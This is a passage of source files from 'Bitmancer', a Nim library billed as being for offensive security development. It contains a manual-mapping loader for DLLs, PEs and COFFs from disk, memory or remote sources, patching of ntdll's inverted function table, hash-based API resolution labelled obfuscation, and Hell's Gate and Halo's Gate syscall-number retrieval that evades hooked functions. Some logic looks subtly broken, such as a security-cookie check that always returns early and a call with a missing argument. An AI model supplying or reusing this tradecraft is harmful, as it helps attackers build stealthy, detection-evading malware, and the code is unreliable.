93 | cast[ModuleHandle](pLoadLibrary(cast[LPCSTR](addr msvcrt[0])))
94 | else:
95 | ? CRT_BASE()
96 |
97 | if crtBase.isNil():
98 | err ProcedureNotFound
99 | else:
100 | ok crtBase
101 |
102 | proc rawWriteStdOut*(s: cstring): NtResult[void] {.discardable.} =
103 | ## runtime writing to stdout, useful for debugging
104 | let
105 | crtBase = ? getCrtBase()
106 | cstdout = ? getAndInitStdout(crtBase)
107 | writeStream(crtBase, cstdout, s)
108 |
109 |
--------------------------------------------------------------------------------
/src/Bitmancer/ldr.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 |
21 | import
22 | loader/[ldrexceptions, ldrlink, ldrmap, ldrutils]
23 |
24 | export
25 | ldrbase
26 |
27 | ## Manual Mapping Loader
28 | ##
29 | ## This module implements a manual mapper, capable of loading PEs, DLLs, or COFFs
30 | ## from Disk, Memory, or Remotely.
31 | ##
32 | ## Note: This is currently in progress! Unstable API
33 | ##------------------------------------------------------------------------
34 | #[
35 | TODO:
36 | - instead of taking the full path, accept any PWSTR, search according to the NT Loader's search order
37 | - increment & decrement DLL Dependencies when processing imports
38 | - free dependency DLLs when unloading context
39 | ]#
40 |
41 | ## Forward Declaration for recursion
42 | ##------------------------------------
43 | proc eLoadLibrary*(
44 | flags: DWORD,
45 | fullName: PCWSTR,
46 | buffer: PVOID,
47 | bufferLen: ULONG
48 | ): NtResult[PLoadContext]
49 |
50 | include loader/ldrmapsnap
51 |
52 | ## FreeLibrary
53 | ##------------------------------------
54 | proc eFreeLibrary*(ctx: PLoadContext): NtResult[void] =
55 | result = ok()
56 |
57 | ## TODO: decrement load counts of all DLLs the module depends on
58 |
59 | ## Unlink the module
60 | if ctx.linked():
61 | if (let unlink = ldrUnlinkModule(ctx); unlink.isErr()):
62 | result = unlink
63 |
64 | ## Remove exceptions
65 | if ctx.entry.isSet(InExceptionTable):
66 | if (let remove = rtlRemoveInvertedFuncTableEntry ctx.entry.DLLBase.ModuleHandle; remove.isErr()):
67 | result = remove
68 |
69 | ## Unmap module
70 | if not ctx.entry.DLLBase.isNil():
71 | if (let unmap = LDR_UNMAP_MODULE ctx; unmap.isErr()):
72 | result = unmap
73 |
74 | ## Remove Dependency Contexts
75 | ## TODO
76 |
77 | ## Remove Ldr Entry
78 | if not ctx.entry.isNil():
79 | PROCESS_HEAP_FREE(ctx.entry)
80 | PROCESS_HEAP_FREE(cast[PVOID](ctx))
81 |
82 | ## LoadLibrary
83 | ##------------------------------------
84 | proc eLoadLibrary*(
85 | flags: DWORD,
86 | fullName: PCWSTR,
87 | buffer: PVOID,
88 | bufferLen: ULONG
89 | ): NtResult[PLoadContext] =
90 | ## Initialize Loader State
91 | ##-------------------------
92 | var loader = ? ldrInitialize(flags, fullName, buffer, bufferLen)
93 |
94 | ## Verify DLL not already loaded
95 | if LDR_MODULE_PRESENT loader:
96 | if not loader.entry.isNil():
97 | PROCESS_HEAP_FREE(loader.entry)
98 | loader.entry = ? GET_LDR_LIST(loader.entry.BaseDllName.Buffer, LoadOrder)
99 | inc loader.entry.DdagNode.LoadCount
100 | return ok loader
101 |
102 | ## Map and Snap the Module
103 | ##-------------------------
104 | if (let mapsnap = ldrMapAndSnap loader; mapsnap.isErr()):
105 | ? eFreeLibrary loader
106 | return err mapsnap.error()
107 |
108 | ## Link Module to internal structures
109 | ##-------------------------
110 | if (let link = ldrLinkAndPrepareForExecution loader; link.isErr()):
111 | ? eFreeLibrary loader
112 | return err link.error()
113 |
114 | ## Call DLL Entrypoint
115 | ##-------------------------
116 | if (let entry = ldrCallModuleEntry loader; entry.isErr()):
117 | ? eFreeLibrary loader
118 | return err entry.error()
119 |
120 | ok loader
121 |
122 |
--------------------------------------------------------------------------------
/src/Bitmancer/loader/ldrbase.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../ntdll
22 |
23 | export
24 | ntdll
25 |
26 | ## Loader Options
27 | ##------------------------------------------------------------------------
28 | const
29 | LOAD_LOCAL* = 0x00000001
30 | LOAD_REMOTE* = 0x00000002
31 | LOAD_MEMORY* = 0x00000003
32 | FORMAT_COFF* = 0x00000010
33 | FORMAT_IMAGE* = 0x00000020
34 | RUN_UNDER_LDR_LOCK* = 0x01000000
35 |
36 | template SET_LOAD_LOCAL*(flags: var DWORD) =
37 | flags |= LOAD_LOCAL
38 |
39 | template SET_LOAD_MEMORY*(flags: var DWORD) =
40 | flags |= LOAD_MEMORY
41 |
42 | template SET_LOAD_REMOTE*(flags: var DWORD) =
43 | flags |= LOAD_REMOTE
44 |
45 | template SET_FORMAT_COFF*(flags: var DWORD) =
46 | flags |= FORMAT_COFF
47 |
48 | template SET_FORMAT_IMAGE*(flags: var DWORD) =
49 | flags |= FORMAT_IMAGE
50 |
51 | template SET_RUN_UNDER_LDR_LOCK*(flags: var DWORD) =
52 | flags |= RUN_UNDER_LDR_LOCK
53 |
54 | ## Loader Context
55 | ##------------------------------------------------------------------------
56 | type
57 | LoadContext* {.byCopy.} = object
58 | flags*: DWORD
59 | dependencies*: LIST_ENTRY
60 | entry*: PLDR_DATA_TABLE_ENTRY
61 | buffer*: PVOID
62 | bufferLen*: DWORD
63 | fileHandle*: HANDLE
64 | sectHandle*: HANDLE
65 | PLoadContext* = ptr LoadContext
66 |
67 | template LDR_MODULE_PRESENT*(ctx: PLoadContext): bool =
68 | MODULE_LOADED(ctx.entry.BaseDllName.Buffer, MemoryOrder)
69 |
70 | template LDR_MODULE_VALID*(ctx: PLoadContext): bool =
71 | PE_VALID ctx.buffer.ModuleHandle
72 |
73 | proc init*(
74 | T: typedesc[PLoadContext],
75 | flags: DWORD,
76 | fullDLLName: UNICODE_STRING,
77 | baseDLLName: UNICODE_STRING,
78 | buffer: PVOID,
79 | bufferLen: ULONG
80 | ): NtResult[PLoadContext] =
81 | var
82 | base = ? PROCESS_HEAP_ALLOC(LoadContext)
83 | entry = ? PROCESS_HEAP_ALLOC(LDR_DATA_TABLE_ENTRY)
84 | ctx = cast[PLoadContext](base)
85 | ctx.flags = flags
86 | ctx.dependencies = LIST_ENTRY()
87 | ctx.entry = cast[PLDR_DATA_TABLE_ENTRY](entry)
88 | ctx.buffer = buffer
89 | ctx.bufferLen = bufferLen
90 | ctx.entry.FullDllName = fullDLLName
91 | ctx.entry.BaseDllName = baseDLLName
92 | INIT_LIST_ENTRY ctx.dependencies
93 | ok ctx
94 |
95 | ## Loader Initialization
96 | ##------------------------------------
97 | proc ldrInitialize*(
98 | flags: DWORD,
99 | fullName: PCWSTR,
100 | buffer: PVOID,
101 | bufferLen: ULONG
102 | ): NtResult[PLoadContext] =
103 | ## Initializes the Loader's Load Context
104 | ##-----------------------------------
105 | if fullName.isNil() or fullName.len() > MAX_PATH:
106 | return err InvalidBuffer
107 |
108 | var
109 | baseDLLName = UNICODE_STRING()
110 | fullDLLName = UNICODE_STRING()
111 | let baseName = ? pathFindFileNameW(fullName)
112 |
113 | RTL_INIT_EMPTY_UNICODE_STRING(fullDLLName, fullName, fullName.len.USHORT)
114 | RTL_INIT_EMPTY_UNICODE_STRING(baseDLLName, baseName, baseName.len.USHORT)
115 |
116 | PLoadContext.init(
117 | flags,
118 | fullDLLName,
119 | baseDLLName,
120 | buffer,
121 | bufferLen
122 | )
123 |
124 |
--------------------------------------------------------------------------------
/src/Bitmancer/loader/ldrmap.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | mappings/[memory, native, remote],
22 | ldrcfg, ldrexceptions
23 |
24 | export
25 | ldrbase
26 |
27 | ## Loader Map
28 | ##------------------------------------------------------------------------
29 |
30 | ## Helper Templates
31 | ##------------------------------------
32 | template LDR_MAP_MODULE*(ctx: PLoadContext): NtResult[void] =
33 | case LOBYTE(ctx.flags)
34 | of ord LoadLocal: ldrMapNativeModule ctx
35 | of ord LoadMemory: ldrMapMemoryModule ctx
36 | of ord LoadRemote: ldrMapRemoteModule ctx
37 | else: err InvalidFlags
38 |
39 | template LDR_UNMAP_MODULE*(ctx: PLoadContext): NtResult[void] =
40 | case LOBYTE(ctx.flags)
41 | of ord LoadLocal: ldrUnmapNativeModule ctx
42 | of ord LoadMemory: ldrUnmapMemoryModule ctx
43 | of ord LoadRemote: ldrUnmapRemoteModule ctx
44 | else: err InvalidFlags
45 |
46 | ## Loader Post-Mapping Private Routines
47 | ##------------------------------------
48 | proc ldrCompleteMappedModule(ctx: PLoadContext): NtResult[void] =
49 | ## Complete Mapped DLL's relocations
50 | let
51 | imageBase = ctx.entry.DLLBase.ModuleHandle
52 | NtHeaders = ? imageNtHeader imageBase
53 | baseOffset = cast[ULONG_PTR](ctx.entry.DLLBase -! NtHeaders.OptionalHeader.ImageBase)
54 |
55 | ## Update DLL's entries with the new base address
56 | if baseOffset != 0 and NtHeaders.OptionalHeader.DLLCharacteristics && IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE:
57 | let relocations = ? getRelocationDirectory(imageBase)
58 | for reloc in relocations.relocs():
59 | for fixup in reloc.fixups():
60 | case fixup.Type
61 | of IMAGE_REL_BASED_DIR64:
62 | cast[PULONG_PTR](ctx.entry.DLLBase +! reloc.VirtualAddress +! DWORD(fixup.Offset))[] += baseOffset
63 | of IMAGE_REL_BASED_HIGHLOW:
64 | cast[PULONG_PTR](ctx.entry.DLLBase +! reloc.VirtualAddress +! DWORD(fixup.Offset))[] += ULONG_PTR(baseOffset)
65 | of IMAGE_REL_BASED_HIGH:
66 | cast[PULONG_PTR](ctx.entry.DLLBase +! reloc.VirtualAddress +! DWORD(fixup.Offset))[] += ULONG_PTR(HIWORD(baseOffset))
67 | of IMAGE_REL_BASED_LOW:
68 | cast[PULONG_PTR](ctx.entry.DLLBase +! reloc.VirtualAddress +! DWORD(fixup.Offset))[] += ULONG_PTR(LOWORD(baseOffset))
69 | else:
70 | ## TODO
71 | continue
72 |
73 | ## Update NtHeaders
74 | NtHeaders.OptionalHeader.ImageBase = cast[ULONGLONG](ctx.entry.DLLBase)
75 | ok()
76 |
77 | proc ldrProcessMappedModule(ctx: PLoadContext): NtResult[void] =
78 | let
79 | imageBase = ctx.entry.DLLBase.ModuleHandle
80 | NtHeaders = ? imageNtHeader imageBase
81 |
82 | ## Validate Entrypoint
83 | if NtHeaders.OptionalHeader.SizeOfHeaders > NtHeaders.OptionalHeader.AddressOfEntryPoint:
84 | return err ImageInvalid
85 |
86 | ctx.entry.OriginalBase = NtHeaders.OptionalHeader.ImageBase
87 |
88 | ? ldrCfgProcessLoadConfig ctx
89 | ldrProcessExceptions ctx
90 |
91 | ## Loader Map Module
92 | ##------------------------------------
93 | proc ldrMapModule*(ctx: PLoadContext): NtResult[void] =
94 | ## Map the DLL into memory
95 | ? LDR_MAP_MODULE ctx
96 | ## Complete the mapped DLL
97 | ? ldrCompleteMappedModule ctx
98 | ## Process the mapped DLL
99 | ldrProcessMappedModule ctx
100 |
--------------------------------------------------------------------------------
/src/Bitmancer/loader/ldrexceptions.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ldrlocks
23 |
24 | export
25 | ldrlocks
26 |
27 | ## Exceptions
28 | ##------------------------------------------------------------------------
29 | const
30 | MaxCount = 0x200
31 |
32 | ## Private
33 | ##------------------------------------
34 | proc getLdrProtectMrData(): NtResult[LdrProtectMrData] =
35 | const
36 | RtlDeleteFunctionTableHash = ctDjb2 "RtlDeleteFunctionTable"
37 | let
38 | Ntdll = ? NTDLL_BASE()
39 | pLdrProtectMrData = ? getNestedProcAddress(Ntdll, RtlDeleteFunctionTableHash, 0)
40 | ok cast[LdrProtectMrData](pLdrProtectMrData)
41 |
42 | ## Public
43 | ##------------------------------------
44 | proc ldrProtectMrdata*(protect: BOOL): NtResult[void] =
45 | let pLdrProtectMrData = ? getLdrProtectMrData()
46 | pLdrProtectMrData(protect)
47 | ok()
48 |
49 | proc getLdrpInvertedFuncTable*(): NtResult[PINVERTED_FUNCTION_TABLE] =
50 | let
51 | Ntdll = ? NTDLL_BASE()
52 | NtHeaders = ? imageNtHeader Ntdll
53 | ExcDirHeaders = ? getExceptionDirectoryHeader(Ntdll)
54 | entry = INVERTED_FUNCTION_TABLE_ENTRY(
55 | Union1: INVERTED_FUNCTION_TABLE_ENTRY_UNION(
56 | FunctionTable: EXCEPTION_DIRECTORY(Ntdll, ExcDirHeaders)),
57 | ImageBase: cast[PVOID](Ntdll),
58 | SizeOfImage: NtHeaders.OptionalHeader.SizeOfImage,
59 | SizeOfTable: ExcDirHeaders.Size
60 | )
61 | ## Search .mrdata section for corresponding INVERTED_FUNCTION_TABLE_ENTRY's based on it's
62 | ## pointer to the Exception Directory (Union1.FunctionTable).
63 | ## The first entry will be 0x10 offset from the LdrpInvertedFunctionTable Header,
64 | ## which sets its MaxCount field to 0x200 (512)and Overflow to 0.
65 | let pMrDataSection = ? getMrdataSection(Ntdll)
66 | var pBeginAddr = SECTION_START(Ntdll, pMrDataSection)
67 |
68 | while pBeginAddr < SECTION_END(Ntdll, pMrDataSection) -! sizeof(INVERTED_FUNCTION_TABLE_ENTRY):
69 |
70 | if cmpMem(pBeginAddr, cast[PVOID](unsafeAddr entry), sizeof(INVERTED_FUNCTION_TABLE_ENTRY)) == 0:
71 | ## First entry is 0x10 from the LdrpInvertedFunctionTable
72 | let table = cast[PINVERTED_FUNCTION_TABLE](pBeginAddr -! 0x10)
73 |
74 | ## Check if we're at the first entry
75 | if table.MaximumSize == MaxCount and table.OverFlow == 0:
76 | return ok table
77 |
78 | inc pBeginAddr
79 |
80 | err SearchNotFound
81 |
82 | proc rtlInsertInvertedFuncTableEntry*(imageBase: ModuleHandle, imageSize: SIZE_T): NtResult[void] =
83 | let InvertedFunctionTable = ? getLdrpInvertedFuncTable()
84 | ? ldrProtectMrdata(FALSE)
85 | result = rtlpInsertInvertedFuncTableEntry(InvertedFunctionTable, imageBase, imageSize)
86 | ? ldrProtectMrdata(TRUE)
87 |
88 | proc rtlRemoveInvertedFuncTableEntry*(imageBase: ModuleHandle): NtResult[void] =
89 | let InvertedFunctionTable = ? getLdrpInvertedFuncTable()
90 | ? ldrProtectMrdata(FALSE)
91 | rtlpRemoveInvertedFuncTableEntry(InvertedFunctionTable, imageBase)
92 | ? ldrProtectMrdata(TRUE)
93 |
94 | proc ldrProcessExceptions*(ctx: PLoadContext): NtResult[void] =
95 | let imageBase = ctx.entry.DLLBase.ModuleHandle
96 | ? rtlInsertInvertedFuncTableEntry(imageBase, ctx.entry.SizeOfImage)
97 | ctx.entry.setBit(InExceptionTable)
98 | ok()
99 |
100 |
--------------------------------------------------------------------------------
/src/Bitmancer/loader/ldrcfg.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ldrbase
22 |
23 | export
24 | ldrbase
25 |
26 | ## Loader's Control Flow Guard routines
27 | ##------------------------------------------------------------------------
28 |
29 | ## Security Cookie
30 | ##------------------------------------
31 | proc ldrGenSecurityCookie(): NtResult[UINT_PTR] =
32 | var
33 | cookie = UINT_PTR 0
34 | perfCounter = LARGE_INTEGER()
35 | let time = getSystemTime()
36 | ? ntQueryPerformanceCounter(perfCounter, NULL)
37 | cookie = cast[UINT_PTR]((time.QuadPart shr 32) xor time.QuadPart)
38 | cookie ^= getProcessId()
39 | cookie ^= getThreadId()
40 | cookie ^= getTickCount()
41 | when defined(cpu64):
42 | cookie ^= perfCounter.QuadPart
43 | else:
44 | cookie ^= perfCounter.LowPart
45 | cookie ^= perfCounter.HighPart
46 | ok cookie
47 |
48 | proc ldrSetSecurityCookie(ctx: PLoadContext): NtResult[void] =
49 | let
50 | imageBase = ctx.entry.DLLBase.ModuleHandle
51 | NtHeaders = ? imageNtHeader(imageBase)
52 | lcHeader = getLoadConfigDirectoryHeader imageBase
53 |
54 | if lcHeader.isErr():
55 | if lcHeader.error() in {DirectoryEmpty, DirectoryNotFound}:
56 | return ok()
57 | return err lcHeader.error()
58 |
59 | #let LoadConfig = cast[PIMAGE_LOAD_CONFIG_DIRECTORY](ctx.entry.DLLBase +! loadConfigDir.VirtualAddress)
60 | #if loadConfig.Size < offsetOf(IMAGE_LOAD_CONFIG_DIRECTORY, SecurityCookie) +% sizeof(LoadConfig.SecurityCookie):
61 | # return err ImageInvalid
62 |
63 | let LoadConfig = LOAD_CONFIG_DIRECTORY(imageBase, lcHeader.get())
64 | ## Check LoadConfig's OS Versioning
65 | ## TODO
66 |
67 | ## Check if DLL uses Securiy Cookie
68 | if LoadConfig.GuardFlags && IMAGE_GUARD_SECURITY_COOKIE_UNUSED or LoadConfig.SecurityCookie == 0:
69 | return ok()
70 |
71 | ## Check if Cookie is out of bounds
72 | if cast[PBYTE](addr LoadConfig.SecurityCookie) < cast[PBYTE](ctx.entry.DLLBase) or
73 | cast[PBYTE](addr LoadConfig.SecurityCookie) >= cast[PBYTE](ctx.entry.DLLBase +! NtHeaders.OptionalHeader.SizeOfImage):
74 | return err ImageInvalid
75 |
76 | ## If Cookie is zero (not desired) or Cookie already set, return ok
77 | if LoadConfig.SecurityCookie != SECURITY_COOKIE_INITIAL or LoadConfig.SecurityCookie != SECURITY_COOKIE_16BIT_INITIAL:
78 | return ok()
79 |
80 | var newCookie = ? ldrGenSecurityCookie()
81 |
82 | ## only low 16 bits are needed
83 | if LoadConfig.SecurityCookie == SECURITY_COOKIE_16BIT_INITIAL:
84 | newCookie &= 0xFFFF
85 |
86 | ## if cookie matches, make it different
87 | if newCookie == SECURITY_COOKIE_INITIAL or newCookie == SECURITY_COOKIE_16BIT_INITIAL:
88 | inc newCookie
89 |
90 | when defined(cpu64):
91 | newCookie &= 0x0000FFFFFFFFFFFF
92 |
93 | LoadConfig.SecurityCookie = newCookie
94 | ok()
95 |
96 | proc ldrProcessCFG(ctx: PLoadContext): NtResult[void] =
97 | let NtHeaders = ? imageNtHeader ctx.entry.DllBase.ModuleHandle
98 | if NtHeaders.OptionalHeader.DLLCharacteristics && IMAGE_DLLCHARACTERISTICS_GUARD_CF:
99 | ## Set the Security Cookie, if required
100 | ? ldrSetSecurityCookie ctx
101 | ok()
102 |
103 | ## Public
104 | ##------------------------------------
105 | proc ldrCfgProcessLoadConfig*(ctx: PLoadContext): NtResult[void] =
106 | ? ldrProcessCFG ctx
107 | ctx.entry.setBit(LoadConfigProcessed)
108 | ok()
109 |
--------------------------------------------------------------------------------
/src/Bitmancer/rtl/locks.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | ../core/obfuscation/hash,
22 | ../core
23 |
24 | export
25 | core
26 |
27 | ## Hashes
28 | ##---------------------------------------------------------------------
29 | const
30 | RtlAcquireSRWLockExclusiveHash* = ctDjb2 "RtlAcquireSRWLockExclusive"
31 | RtlInitializeSRWLockHash* = ctDjb2 "RtlInitializeSRWLock"
32 | RtlReleaseSRWLockExclusiveHash* = ctDjb2 "RtlReleaseSRWLockExclusive"
33 | RtlWaitForCriticalSectionHash* = ctDjb2 "RtlWaitForCriticalSection"
34 | RtlEnterCriticalSectionHash* = ctDjb2 "RtlEnterCriticalSection"
35 | RtlLeaveCriticalSectionHash* = ctDjb2 "RtlLeaveCriticalSection"
36 |
37 | ## Template Helpers for Common Locks
38 | ##---------------------------------------------------------------------
39 | template LOCK_LOADER_LOCK*(): NtResult[void] =
40 | rtlEnterCriticalSection getLoaderLock()
41 |
42 | template UNLOCK_LOADER_LOCK*(): NtResult[void] =
43 | rtlLeaveCriticalSection getLoaderLock()
44 |
45 | template LOCK_PEB_LOCK*(): NtResult[void] =
46 | rtlEnterCriticalSection getPebFastLock()
47 |
48 | template UNLOCK_PEB_LOCK*(): NtResult[void] =
49 | rtlLeaveCriticalSection getPebFastLock()
50 |
51 | ## RtlAcquireSRWLockExclusive
52 | ##------------------------------------
53 | proc getRtlAcquireSRWLockExclusive*(Ntdll: ModuleHandle): NtResult[RtlAcquireSRWLockExclusive] {.inline.} =
54 | let f = ? getProcAddress(Ntdll, RtlAcquireSRWLockExclusiveHash)
55 | ok cast[RtlAcquireSRWLockExclusive](f)
56 |
57 | proc rtlAcquireSRWLockExclusive*(srwlock: PRTL_SRWLOCK): NtResult[void] {.discardable.} =
58 | let
59 | Ntdll = ? NTDLL_BASE()
60 | pRtlAcquireSRWLockExclusive = ? getRtlAcquireSRWLockExclusive Ntdll
61 | pRtlAcquireSRWLockExclusive srwlock
62 | ok()
63 |
64 | ## RtlInitializeSRWLock
65 | ##------------------------------------
66 | proc getRtlInitializeSRWLock*(Ntdll: ModuleHandle): NtResult[RtlInitializeSRWLock] {.inline.} =
67 | let f = ? getProcAddress(Ntdll, RtlInitializeSRWLockHash)
68 | ok cast[RtlInitializeSRWLock](f)
69 |
70 | proc rtlInitializeSRWLock*(lock: var RTL_SRWLOCK): NtResult[void] =
71 | let
72 | Ntdll = ? NTDLL_BASE()
73 | pRtlInitializeSRWLock = ? getRtlInitializeSRWLock Ntdll
74 | pRtlInitializeSRWLock lock
75 | ok()
76 |
77 | ## RtlReleaseSRWLockExclusive
78 | ##------------------------------------
79 | proc getRtlReleaseSRWLockExclusive*(Ntdll: ModuleHandle): NtResult[RtlReleaseSRWLockExclusive] {.inline.} =
80 | let f = ? getProcAddress(Ntdll, RtlReleaseSRWLockExclusiveHash)
81 | ok cast[RtlReleaseSRWLockExclusive](f)
82 |
83 | proc rtlReleaseSRWLockExclusive*(srwlock: PRTL_SRWLOCK): NtResult[void] {.discardable.} =
84 | let
85 | Ntdll = ? NTDLL_BASE()
86 | pRtlReleaseSRWLockExclusive = ? getRtlReleaseSRWLockExclusive Ntdll
87 | pRtlReleaseSRWLockExclusive srwlock
88 | ok()
89 |
90 | ## RtlEnterCriticalSection
91 | ##------------------------------------
92 | proc getRtlEnterCriticalSection*(Ntdll: ModuleHandle): NtResult[RtlEnterCriticalSection] {.inline.} =
93 | let f = ? getProcAddress(Ntdll, RtlEnterCriticalSectionHash)
94 | ok cast[RtlEnterCriticalSection](f)
95 |
96 | proc rtlEnterCriticalSection*(lock: PRTL_CRITICAL_SECTION): NtResult[void] =
97 | let
98 | Ntdll = ? NTDLL_BASE()
99 | pRtlEnterCriticalSection = ? getRtlEnterCriticalSection(Ntdll)
100 | NT_RESULT pRtlEnterCriticalSection lock: void
101 |
102 | ## RtlLeaveCriticalSection
103 | ##------------------------------------
104 | proc getRtlLeaveCriticalSection*(Ntdll: ModuleHandle): NtResult[RtlLeaveCriticalSection] {.inline.} =
105 | let f = ? getProcAddress(Ntdll, RtlLeaveCriticalSectionHash)
106 | ok cast[RtlLeaveCriticalSection](f)
107 |
108 | proc rtlLeaveCriticalSection*(lock: PRTL_CRITICAL_SECTION): NtResult[void] =
109 | let
110 | Ntdll = ? NTDLL_BASE()
111 | pRtlLeaveCriticalSection = ? getRtlLeaveCriticalSection Ntdll
112 | NT_RESULT pRtlLeaveCriticalSection lock: void
113 |
--------------------------------------------------------------------------------
/src/Bitmancer/syscalls/gates.nim:
--------------------------------------------------------------------------------
1 | ##---------------------------------------------------------------------
2 | ## Bitmancer - a library for Offensive Security Development
3 | ##
4 | ## Copyright (C) 2022 B. Marshall (zimawhite1@gmail.com)
5 | ##
6 | ## This program is free software: you can redistribute it and/or modify
7 | ## it under the terms of the GNU General Public License as published by
8 | ## the Free Software Foundation, either version 3 of the License, or
9 | ## (at your option) any later version.
10 | ##
11 | ## This program is distributed in the hope that it will be useful,
12 | ## but WITHOUT ANY WARRANTY; without even the implied warranty of
13 | ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 | ## GNU General Public License for more details.
15 | ##
16 | ## You should have received a copy of the GNU General Public License
17 | ## along with this program. If not, see .
18 | ##
19 | ##----------------------------------------------------------------------------------
20 | import
21 | base
22 |
23 | export
24 | base
25 |
26 | ## SSN "gate" retrieval implementations (with some small differences)
27 | ##------------------------------------------------------------------------
28 |
29 | ## Hell's Gate
30 | ##------------------------------------
31 | func hellsGateParse(pFunction: PVOID): SyscallResult =
32 | var index = WORD(0)
33 | while true:
34 | ## check if syscall, in this case we are too far
35 | if cast[PBYTE](pFunction +! index)[] == 0x0F and cast[PBYTE](pFunction +! (index+1))[] == 0x05:
36 | return err SyscallNotFound
37 | ## check if ret, in this case we are also probaly too far
38 | if cast[PBYTE](pFunction +! index)[] == 0xC3:
39 | return err SyscallNotFound
40 | ## check for SSN
41 | if (result = checkStub(pFunction, DWORD(index)); result.isOk()):
42 | return
43 | inc index
44 |
45 | proc hellsGateEat*(imageBase: ModuleHandle, ident: SomeProcIdent): SyscallResult =
46 | let pFunc = ? getProcAddress(imageBase, ident)
47 | hellsGateParse(pFunc)
48 |
49 | proc hellsGateIat*(imageBase, importBase: ModuleHandle, ident: SomeThunkedIdent): SyscallResult =
50 | let pFunc = ? getProcAddressEx(imageBase, importBase, ident)
51 | hellsGateParse(pFunc)
52 |
53 | template hellsGate*(imageBase, importBase: ModuleHandle, ident: SomeProcIdent, symEnum: static SymbolEnumeration): SyscallResult =
54 | when symEnum == UseEAT: hellsGateEat(imageBase, ident)
55 | elif symEnum == UseIAT: hellsGateIat(imageBase, ident)
56 |
57 | ## Halo's Gate
58 | ##------------------------------------
59 | func halosGateParse(pFunction: PVOID): SyscallResult =
60 | ## check for SSN
61 | if (result = checkStub(pFunction, 0); result.isOk()):
62 | return
63 | ## if hooked, check the neighborhood to find clean syscall
64 | if cast[PBYTE](pFunction)[] == 0xE9:
65 | for i in 0 ..< 500:
66 | ## check neighboring syscall down
